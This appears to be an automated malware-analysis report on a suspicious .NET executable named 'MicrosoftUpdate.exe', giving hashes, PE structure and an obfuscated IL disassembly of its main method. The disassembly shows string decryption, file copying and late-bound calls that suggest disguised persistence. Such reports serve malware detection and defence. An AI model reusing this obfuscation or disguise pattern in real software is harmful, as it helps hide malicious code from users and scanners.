Suspicious
Suspect

279249c94ccb3bd17e35c310642b7426

PE Executable
|
MD5: 279249c94ccb3bd17e35c310642b7426
|
Size: 244.74 KB
|
application/x-dosexec

Summary by MalvaGPT
Characteristics

Symbol Ofbuscation Score

High

Hash
Hash Value
MD5
279249c94ccb3bd17e35c310642b7426
Sha1
466afbc83d28e945d540d9929b60ce5b7cd34bb4
Sha256
2789475f9c628e17e9195fee0133b23c43d3f05d2801baa1c8a9aae809be8e6c
Sha384
4e4a41ed7ca47673c6fb11637891cede148920260e316b2b7953018048547fecc4258085e2ab7770a0285cb908c33b59
Sha512
6b117dfdf0ca6918e5e04da24ba588583f3bb0134416d1fbe75da7c7ace4f218bc6b8d08b2cdeb599d61df425e1a99ddf7e0b78baccf2ae67f905becad6b389e
SSDeep
3072:KdWs/MZadvnNjB3YaOTRz3vzzQLb4XJaEzE+DF/Q1J/5ObqiH8ltnj+Bz65/M6IQ:Kd3uaFnfyb2U3VDFQT8bzHot+xBt25
TLSH
73346B5AFB41C590D5390D33C057C5A40F75FC9BEB2AFAAB71C4BEA268B38949C0B911

PeID

.NET executable
Microsoft Visual C# / Basic .NET
Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL
Microsoft Visual C# v7.0 / Basic .NET
Microsoft Visual Studio .NET
File Structure
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_ICON
ID:0001
ID:0
ID:0002
ID:0
ID:0003
ID:0
ID:0004
ID:0
ID:0005
ID:0
RT_GROUP_CURSOR4
ID:0001
ID:0
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Informations
Name
Value
Info

PE Detect: PeReader OK (file layout)

Module Name

MicrosoftUpdate.exe

Full Name

MicrosoftUpdate.exe

EntryPoint

System.Void Stub.hkr3c9l4IHDEnKLVks4Mel47FlKEKCQbxCXZAVNcAo8osZh338G72ffvcU7sXyI::e44RaGRwNtNJ0FReTLyGmDFxa2Xt7RfZraRlUbXOENH1Eh5S4StnjBwfaJhYtdv()

Scope Name

MicrosoftUpdate.exe

Scope Type

ModuleDef

Kind

Windows

Runtime Version

v4.0.30319

Tables Header Version

512

WinMD Version

<null>

Assembly Name

MicrosoftUpdate

Assembly Version

1.0.0.0

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

<null>

Total Strings

0

Main Method

System.Void Stub.hkr3c9l4IHDEnKLVks4Mel47FlKEKCQbxCXZAVNcAo8osZh338G72ffvcU7sXyI::e44RaGRwNtNJ0FReTLyGmDFxa2Xt7RfZraRlUbXOENH1Eh5S4StnjBwfaJhYtdv()

Main IL Instruction Count

420

Main IL

ldsfld System.Int32 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::Dh1W5pC7xYrJFnZKPQf8QTo2ckt08lHJILQ504WfteaNizjMfyLXEjZyYTC0jB5bHjEWQy7qaJU6bv ldc.i4 1000 mul.ovf <null> ldc.i4 436 ldc.i4 485 call System.Void Stub.NMPokMB943VadKIKaZ5zIULBQxauDSYTaIGNHgrLsBpL4uc3JaXdu3OouQod2IP::Ⴓ(System.Int32,System.Int16,System.Int16) ldc.i4.1 <null> stloc.s V_15 ldloc.s V_15 switch dnlib.DotNet.Emit.Instruction[] ldsfld System.String 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::kriRsXQr3zoWuB99b0tYqfsLbO0PBeSfplIM2QwF2u2OwDPBSvbqGqVAx27KUM2qpAasMxrvx9HR58 call System.Object Stub.e4UPg08PPeWDDIwza0GT1r7twGj6zhiBiy7ERnR8808n2TWsv2aF1G4UfpWL9bP::AII0ldWvOXYtMn1FUwwF4ONB0foh9jRVWCbmMTlIlM0oZHrky1jDDGQGXuPSLxu(System.String) ldc.i4 304 ldc.i4 372 call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴜ<System.Object>(System.Object,System.Int32,System.Int32) stsfld System.String 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::kriRsXQr3zoWuB99b0tYqfsLbO0PBeSfplIM2QwF2u2OwDPBSvbqGqVAx27KUM2qpAasMxrvx9HR58 ldsfld System.String 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::swjQzShjwbi7ARYSA09WWgCinThpPe96G8MfReCiglVBO4JrzmreTNMQzYHsa3vtVJ985tFBc6hTgm call System.Object Stub.e4UPg08PPeWDDIwza0GT1r7twGj6zhiBiy7ERnR8808n2TWsv2aF1G4UfpWL9bP::AII0ldWvOXYtMn1FUwwF4ONB0foh9jRVWCbmMTlIlM0oZHrky1jDDGQGXuPSLxu(System.String) ldc.i4 813 ldc.i4 873 call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴜ<System.Object>(System.Object,System.Int32,System.Int32) stsfld System.String 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::swjQzShjwbi7ARYSA09WWgCinThpPe96G8MfReCiglVBO4JrzmreTNMQzYHsa3vtVJ985tFBc6hTgm ldc.i4.3 <null> stloc.s V_15 br.s IL_001D: ldloc.s V_15 ldsfld System.String 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::QRyS6W9BYUHjKHO39VM8ur8qrgPzNQ061y4Mdb01Z5dA8UB9N0Pljs4CccJB7fI1xtkMrteve6qW1J call System.Object Stub.e4UPg08PPeWDDIwza0GT1r7twGj6zhiBiy7ERnR8808n2TWsv2aF1G4UfpWL9bP::AII0ldWvOXYtMn1FUwwF4ONB0foh9jRVWCbmMTlIlM0oZHrky1jDDGQGXuPSLxu(System.String) ldc.i4 896 ldc.i4 964 call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴜ<System.Object>(System.Object,System.Int32,System.Int32) stsfld System.String 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::QRyS6W9BYUHjKHO39VM8ur8qrgPzNQ061y4Mdb01Z5dA8UB9N0Pljs4CccJB7fI1xtkMrteve6qW1J ldsfld System.String 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::6zxm0Mb0U0n9PT2jWvRp0Rg5ApJJASRQ0nIEtHmqTDdjmUfX9AqqmTU3pd6fURGHhOmRMs0m7aWTRm call System.Object Stub.e4UPg08PPeWDDIwza0GT1r7twGj6zhiBiy7ERnR8808n2TWsv2aF1G4UfpWL9bP::AII0ldWvOXYtMn1FUwwF4ONB0foh9jRVWCbmMTlIlM0oZHrky1jDDGQGXuPSLxu(System.String) ldc.i4 316 ldc.i4 376 call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴜ<System.Object>(System.Object,System.Int32,System.Int32) stsfld System.String 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::6zxm0Mb0U0n9PT2jWvRp0Rg5ApJJASRQ0nIEtHmqTDdjmUfX9AqqmTU3pd6fURGHhOmRMs0m7aWTRm ldc.i4.7 <null> stloc.s V_15 br IL_001D: ldloc.s V_15 ldsfld System.String 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::vJhRGNxdKlQSeoohgsiOokjvUYBcDLJmgnGB4ZhINfD2qpRQqwKLexWNAwTAkMAc7zMo2Iv6gNDVPf call System.Object Stub.e4UPg08PPeWDDIwza0GT1r7twGj6zhiBiy7ERnR8808n2TWsv2aF1G4UfpWL9bP::AII0ldWvOXYtMn1FUwwF4ONB0foh9jRVWCbmMTlIlM0oZHrky1jDDGQGXuPSLxu(System.String) ldc.i4 743 ldc.i4 675 call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴜ<System.Object>(System.Object,System.Int32,System.Int32) stsfld System.String 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::vJhRGNxdKlQSeoohgsiOokjvUYBcDLJmgnGB4ZhINfD2qpRQqwKLexWNAwTAkMAc7zMo2Iv6gNDVPf ldsfld System.String 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::EJXVs9ATqvJGGTsEIyteDH7MgMqjvpSCW5tJ4CxxpiHXa764g5y4ymVbviZNhUJ call System.Object Stub.e4UPg08PPeWDDIwza0GT1r7twGj6zhiBiy7ERnR8808n2TWsv2aF1G4UfpWL9bP::AII0ldWvOXYtMn1FUwwF4ONB0foh9jRVWCbmMTlIlM0oZHrky1jDDGQGXuPSLxu(System.String) ldc.i4 926 ldc.i4 986 call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴜ<System.Object>(System.Object,System.Int32,System.Int32) stsfld System.String 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::EJXVs9ATqvJGGTsEIyteDH7MgMqjvpSCW5tJ4CxxpiHXa764g5y4ymVbviZNhUJ ldc.i4.5 <null> stloc.s V_15 br IL_001D: ldloc.s V_15 ldsfld System.String 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::CjDsKOUwBBQzj8CNIOchsE9mZysyBkKn9euY6nMhXjNkg7NiQPDmHinpYQRNk8a call System.Object Stub.e4UPg08PPeWDDIwza0GT1r7twGj6zhiBiy7ERnR8808n2TWsv2aF1G4UfpWL9bP::AII0ldWvOXYtMn1FUwwF4ONB0foh9jRVWCbmMTlIlM0oZHrky1jDDGQGXuPSLxu(System.String) ldc.i4 1016 ldc.i4 956 call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴜ<System.Object>(System.Object,System.Int32,System.Int32) ldc.i4.s 77 ldc.i4.s 107 call System.String My.oOC5acPfxuEOWE3XOJmLfiP8tXPzYVWNwGjTimOysgGzI9oqMhbZzDqrl8GyZzkDuYT4pcLhv6Z0GC::Ⴃ<System.String>(System.String,System.Int16,System.Char) stsfld System.String 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::CjDsKOUwBBQzj8CNIOchsE9mZysyBkKn9euY6nMhXjNkg7NiQPDmHinpYQRNk8a ldc.i4.8 <null> stloc.s V_15 br IL_001D: ldloc.s V_15 ldsfld System.String 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::nmjCsIvyv9iocdhjzg31RUkFV9dIIS8mTKlDGcr2gYTxthTUvXgYwx4qcigIQrq call System.Object Stub.e4UPg08PPeWDDIwza0GT1r7twGj6zhiBiy7ERnR8808n2TWsv2aF1G4UfpWL9bP::AII0ldWvOXYtMn1FUwwF4ONB0foh9jRVWCbmMTlIlM0oZHrky1jDDGQGXuPSLxu(System.String) ldc.i4.s 91 ldc.i4.s 31 call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴜ<System.Object>(System.Object,System.Int32,System.Int32) stsfld System.String 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::nmjCsIvyv9iocdhjzg31RUkFV9dIIS8mTKlDGcr2gYTxthTUvXgYwx4qcigIQrq leave.s IL_018C: ldc.i4.0 dup <null> ldc.i4 911 ldc.i4 921 call System.Void Stub.MT7nEzmUIt7haZM6FTaIZaY6JnBXKeNDDLArvKrgy0QfLKtqCkoF5lIobzSlYmB::Ⴓ<System.Exception>(System.Exception,System.Char,System.Char) stloc.3 <null> ldc.i4.0 <null> ldc.i4 672 ldc.i4 754 call System.Void Stub.NMPokMB943VadKIKaZ5zIULBQxauDSYTaIGNHgrLsBpL4uc3JaXdu3OouQod2IP::Ⴓ(System.Int32,System.Int16,System.Int16) ldc.i4 968 ldc.i4 978 call System.Void Stub.hkr3c9l4IHDEnKLVks4Mel47FlKEKCQbxCXZAVNcAo8osZh338G72ffvcU7sXyI::Ⴀ(System.Char,System.Char) leave.s IL_018C: ldc.i4.0 ldc.i4.0 <null> stloc.s V_17 ldloc.s V_17 switch dnlib.DotNet.Emit.Instruction[] call System.Boolean Ⴄ.Ⴈ::Ⴗ() brtrue.s IL_01BE: ldc.i4.2 ldc.i4.4 <null> stloc.s V_17 br.s IL_018F: ldloc.s V_17 ldc.i4.2 <null> br.s IL_01BA: stloc.s V_17 ldc.i4.0 <null> ldc.i4 357 ldc.i4 311 call System.Void Stub.NMPokMB943VadKIKaZ5zIULBQxauDSYTaIGNHgrLsBpL4uc3JaXdu3OouQod2IP::Ⴓ(System.Int32,System.Int16,System.Int16) ldsfld System.String 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::CjDsKOUwBBQzj8CNIOchsE9mZysyBkKn9euY6nMhXjNkg7NiQPDmHinpYQRNk8a ldnull <null> ldc.i4.6 <null> ldc.i4 644954492 ldc.i4.5 <null> call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴐ(Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2,System.Int32,System.Int32,System.Int32) ldsfld System.String 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::nmjCsIvyv9iocdhjzg31RUkFV9dIIS8mTKlDGcr2gYTxthTUvXgYwx4qcigIQrq ldc.i4 296 ldc.i4 288 call System.String My.oOC5acPfxuEOWE3XOJmLfiP8tXPzYVWNwGjTimOysgGzI9oqMhbZzDqrl8GyZzkDuYT4pcLhv6Z0GC::Ⴗ<System.String,System.String,System.String>(System.String,System.String,System.String,System.Int16,System.Int16) stloc.0 <null> ldc.i4.2 <null> stloc.s V_19 ldloc.s V_19 switch dnlib.DotNet.Emit.Instruction[] ldloc.0 <null> castclass System.String newobj System.Void System.IO.FileInfo::.ctor(System.String) ldc.i4 284 ldc.i4 293 call System.IO.DirectoryInfo Stub.hkr3c9l4IHDEnKLVks4Mel47FlKEKCQbxCXZAVNcAo8osZh338G72ffvcU7sXyI::Ⴈ<System.IO.FileInfo>(System.IO.FileInfo,System.Int16,System.Int32) ldc.i4 938 ldc.i4 956 call System.String Stub.MT7nEzmUIt7haZM6FTaIZaY6JnBXKeNDDLArvKrgy0QfLKtqCkoF5lIobzSlYmB::Ⴜ<System.IO.DirectoryInfo>(System.IO.DirectoryInfo,System.Char,System.Char) stloc.s V_4 ldc.i4.4 <null> stloc.s V_19 br.s IL_01FB: ldloc.s V_19 ldloc.s V_4 ldc.i4 654 ldc.i4 714 call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴜ<System.Object>(System.Object,System.Int32,System.Int32) ldc.i4 211 ldc.i4 194 call System.Boolean Stub.MT7nEzmUIt7haZM6FTaIZaY6JnBXKeNDDLArvKrgy0QfLKtqCkoF5lIobzSlYmB::Ⴅ<System.String>(System.String,System.Int32,System.Int16) brtrue.s IL_0284: ldc.i4.s 9 ldc.i4.8 <null> stloc.s V_19 br IL_01FB: ldloc.s V_19 ldc.i4.s 9 br.s IL_027D: stloc.s V_19 ldloc.s V_4 ldc.i4 145 ldc.i4 213 call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴜ<System.Object>(System.Object,System.Int32,System.Int32) ldc.i4 262 ldc.i4 316 call System.IO.DirectoryInfo Stub.MT7nEzmUIt7haZM6FTaIZaY6JnBXKeNDDLArvKrgy0QfLKtqCkoF5lIobzSlYmB::ႷႷ<System.String>(System.String,System.Int16,System.Int32) pop <null> ldc.i4.s 9 stloc.s V_19 br IL_01FB: ldloc.s V_19 ldloc.0 <null> castclass System.String ldc.i4.s 64 ldc.i4.s 80 call System.Boolean Stub.MT7nEzmUIt7haZM6FTaIZaY6JnBXKeNDDLArvKrgy0QfLKtqCkoF5lIobzSlYmB::Ⴅ<System.String>(System.String,System.Int32,System.Int16) brfalse.s IL_02CB: ldc.i4.5 ldc.i4.6 <null> stloc.s V_19 br IL_01FB: ldloc.s V_19 ldc.i4.5 <null> br.s IL_02C4: stloc.s V_19 ldloc.0 <null> isinst System.String newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_5 ldloc.s V_5 isinst System.IO.FileInfo ldc.i4.s 91 ldc.i4.s 37 call System.Void Stub.MT7nEzmUIt7haZM6FTaIZaY6JnBXKeNDDLArvKrgy0QfLKtqCkoF5lIobzSlYmB::ႷႳ<System.IO.FileInfo>(System.IO.FileInfo,System.Int32,System.Int32) ldc.i4 1000 ldc.i4 307 ldc.i4 354 call System.Void Stub.NMPokMB943VadKIKaZ5zIULBQxauDSYTaIGNHgrLsBpL4uc3JaXdu3OouQod2IP::Ⴓ(System.Int32,System.Int16,System.Int16) ldloc.0 <null> isinst System.String ldsfld System.String Ⴄ.Ⴈ::Ⴗ ldc.i4 333 ldc.i4 323 call System.Byte[] Stub.NMPokMB943VadKIKaZ5zIULBQxauDSYTaIGNHgrLsBpL4uc3JaXdu3OouQod2IP::ႳႥ<System.String>(System.String,System.Int16,System.Int32) ldc.i4 379 ldc.i4 322 call System.Void Stub.hkr3c9l4IHDEnKLVks4Mel47FlKEKCQbxCXZAVNcAo8osZh338G72ffvcU7sXyI::Ⴄ<System.String>(System.String,System.Byte[],System.Int16,System.Int32) leave.s IL_034D: ldc.i4.8 dup <null> ldc.i4 584 ldc.i4 606 call System.Void Stub.MT7nEzmUIt7haZM6FTaIZaY6JnBXKeNDDLArvKrgy0QfLKtqCkoF5lIobzSlYmB::Ⴓ<System.Exception>(System.Exception,System.Char,System.Char) stloc.s V_6 ldc.i4 864 ldc.i4 890 call System.Void Stub.hkr3c9l4IHDEnKLVks4Mel47FlKEKCQbxCXZAVNcAo8osZh338G72ffvcU7sXyI::Ⴀ(System.Char,System.Char) leave.s IL_034D: ldc.i4.8 ldc.i4.8 <null> stloc.s V_21 ldloc.s V_21 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.7 <null> ldc.i4 274 ldc.i4 382 call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::ႰႤ(System.Environment/SpecialFolder,System.Char,System.Char) ldnull <null> ldc.i4.s 14 ldc.i4 644954495 ldc.i4.6 <null> call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴐ(Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2,System.Int32,System.Int32,System.Int32) ldsfld System.String 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::nmjCsIvyv9iocdhjzg31RUkFV9dIIS8mTKlDGcr2gYTxthTUvXgYwx4qcigIQrq ldc.i4 222 ldc.i4 249 call System.String My.oOC5acPfxuEOWE3XOJmLfiP8tXPzYVWNwGjTimOysgGzI9oqMhbZzDqrl8GyZzkDuYT4pcLhv6Z0GC::Ⴃ<System.String>(System.String,System.Int16,System.Char) ldnull <null> ldc.i4.s 12 ldc.i4 644954250 ldc.i4.3 <null> call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴐ(Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2,System.Int32,System.Int32,System.Int32) ldc.i4 748 ldc.i4 642 call System.String My.oOC5acPfxuEOWE3XOJmLfiP8tXPzYVWNwGjTimOysgGzI9oqMhbZzDqrl8GyZzkDuYT4pcLhv6Z0GC::Ⴓ<System.String,System.String,System.String,System.String>(System.String,System.String,System.String,System.String,System.Char,System.Int32) stloc.s V_7 ldc.i4.0 <null> stloc.s V_21 br IL_0350: ldloc.s V_21 ldnull <null> ldc.i4.0 <null> ldc.i4 644954274 ldc.i4.4 <null> call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴐ(Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2,System.Int32,System.Int32,System.Int32) ldnull <null> ldc.i4.s 14 ldc.i4 644954950 ldc.i4.1 <null> call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴐ(Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2,System.Int32,System.Int32,System.Int32) ldc.i4 399 ldc.i4 407 call System.Object My.ysOBAFnrSAgKCdunbTRBk0r7Mw8QIW3DrM4NGtGX0STLpgBXJNwio3thj1yQSIkkeTvBlZdVjgTJVS::Ⴈ<System.String,System.String>(System.String,System.String,System.Int16,System.Char) ldnull <null> ldnull <null> ldc.i4.s 14 ldc.i4 644954959 ldc.i4.0 <null> call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴐ(Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2,System.Int32,System.Int32,System.Int32) ldc.i4.1 <null> newarr System.Object stloc.s V_9 ldloc.s V_9 castclass System.Object[] ldc.i4.0 <null> ldloc.s V_7 castclass System.String stelem.ref <null> ldloc.s V_9 isinst System.Object[] stloc.s V_10 ldloc.s V_10 castclass System.Object[] ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_11 ldloc.s V_11 isinst System.Boolean[] ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_11 castclass System.Boolean[] ldc.i4 491 ldc.i4 405 call System.Object My.ysOBAFnrSAgKCdunbTRBk0r7Mw8QIW3DrM4NGtGX0STLpgBXJNwio3thj1yQSIkkeTvBlZdVjgTJVS::Ⴍ<System.Type,System.Object,System.String>(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Int32,System.Int16) ldloc.s V_11 castclass System.Boolean[] ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_04A2: stloc.s V_12 ldloc.s V_10 isinst System.Object[] ldc.i4.0 <null> ldelem.ref <null> ldc.i4 774 ldc.i4 858 call System.Object Stub.hkr3c9l4IHDEnKLVks4Mel47FlKEKCQbxCXZAVNcAo8osZh338G72ffvcU7sXyI::Ⴓ<System.Object>(System.Object,System.Int32,System.Int32) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) ldc.i4 703 ldc.i4 731 call System.Object My.ysOBAFnrSAgKCdunbTRBk0r7Mw8QIW3DrM4NGtGX0STLpgBXJNwio3thj1yQSIkkeTvBlZdVjgTJVS::Ⴓ<System.Type,System.Object>(System.Object,System.Type,System.Char,System.Char) castclass System.String stloc.s V_7 stloc.s V_12 ldloc.s V_12 ldnull <null> ldnull <null> ldc.i4.5 <null> ldc.i4 644954986 ldc.i4.8 <null> call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴐ(Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2,System.Int32,System.Int32,System.Int32) ldc.i4.1 <null> newarr System.Object stloc.s V_13 ldloc.s V_13 castclass System.Object[] ldc.i4.0 <null> ldloc.0 <null> castclass System.String stelem.ref <null> ldloc.s V_13 castclass System.Object[] ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldc.i4.7 <null> stloc.s V_21 br IL_0350: ldloc.s V_21 ldloc.s V_12 ldnull <null> ldnull <null> ldc.i4.s 15 ldc.i4 644954904 ldc.i4.5 <null> call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴐ(Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2,System.Int32,System.Int32,System.Int32) ldc.i4.1 <null> newarr System.Object stloc.s V_13 ldloc.s V_13 castclass System.Object[] ldc.i4.0 <null> ldnull <null> ldc.i4.2 <null> ldc.i4 644954945 ldc.i4.6 <null> call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴐ(Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2,System.Int32,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_13 isinst System.Object[] ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldc.i4.2 <null> stloc.s V_21 br IL_0350: ldloc.s V_21 ldloc.s V_12 ldnull <null> ldnull <null> ldc.i4.s 14 ldc.i4 644954942 ldc.i4.5 <null> call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴐ(Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2,System.Int32,System.Int32,System.Int32) ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldc.i4.1 <null> stloc.s V_21 br IL_0350: ldloc.s V_21 ldnull <null> stloc.s V_12 ldloc.s V_7 castclass System.String ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Ⴄ.Ⴈ::Ⴍ leave.s IL_0579: ldc.i4.6 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_8 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0579: ldc.i4.6 ldc.i4.6 <null> stloc.s V_23 ldloc.s V_23 switch dnlib.DotNet.Emit.Instruction[] call System.Void Stub.MT7nEzmUIt7haZM6FTaIZaY6JnBXKeNDDLArvKrgy0QfLKtqCkoF5lIobzSlYmB::wZTVCof6aw5RhWvc5CPtNgbSQr8I5njxXQDL93mSwwI7j8XZxsrQnaivGMMvRRv() call System.Void Ⴄ.Ⴈ::Ⴃ() ldnull <null> ldftn System.Void Stub.hkr3c9l4IHDEnKLVks4Mel47FlKEKCQbxCXZAVNcAo8osZh338G72ffvcU7sXyI::XNSkZ06jdGM1ZxlozA3yAi3Pymo3ftTqOFFzeAY6H1JS8GuBZkEUwTaMrDMzlGj() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() ldnull <null> ldftn System.Void Stub.hkr3c9l4IHDEnKLVks4Mel47FlKEKCQbxCXZAVNcAo8osZh338G72ffvcU7sXyI::5tvD6c6kHAsg3WW7SoOeYIqnh0HZ33jRs3yO3laP2ECwgCdvucLJFaStftOSv8e() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) 